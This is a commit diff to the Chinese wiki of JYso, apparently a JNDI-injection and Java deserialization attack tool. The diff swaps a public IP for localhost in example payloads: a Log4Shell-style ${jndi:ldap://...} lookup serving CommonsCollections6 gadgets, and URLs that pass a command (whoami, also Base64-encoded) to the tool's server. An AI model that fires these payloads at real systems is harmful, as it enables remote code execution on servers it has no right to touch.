archive/JYso
1
0
Fork 0
mirror of https://github.com/qi4L/JYso.git synced 2026-09-26 08:41:53 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

Updated JYso‐CN (markdown)

炁
2023-12-27 12:54:29 +08:00
parent da2c3d28c5
commit 7b4ee8b737
1 changed files with 3 additions and 3 deletions
Download Patch File Download Diff File Expand all files Collapse all files
JYso‐CN.md
+3 -3
@@ -37,7 +37,7 @@ java -jar JYso-[version].jar --jndi -i 127.0.0.1 -u "dc=ex" -p "123456"
${jndi:ldap://127.0.0.1:1389/Deserialization/CommonsCollections6/sethttp} ${jndi:ldap://127.0.0.1:1389/Deserialization/CommonsCollections6/sethttp}
``` ```
```shell ```shell
http://111.229.10.212:3456/setPathAlias?a=whoami http://127.0.0.1:3456/setPathAlias?a=whoami
``` ```
![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/markdown%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20230705100008.png) ![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/markdown%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20230705100008.png)
@@ -122,10 +122,10 @@ public class Main {
+ 对于路由完全不可控的情况下，从http处获取 + 对于路由完全不可控的情况下，从http处获取
```shell ```shell
${jndi:ldap://111.229.10.212:1389/} ${jndi:ldap://127.0.0.1:1389/}
``` ```
```shell ```shell
http://111.229.10.212:3456/setRoute?a=Deserialization/CommonsCollections6/command/Base64/d2hvYW1p http://127.0.0.1:3456/setRoute?a=Deserialization/CommonsCollections6/command/Base64/d2hvYW1p
``` ```
![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/markdown%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20230706103914.png) ![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/markdown%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20230706103914.png)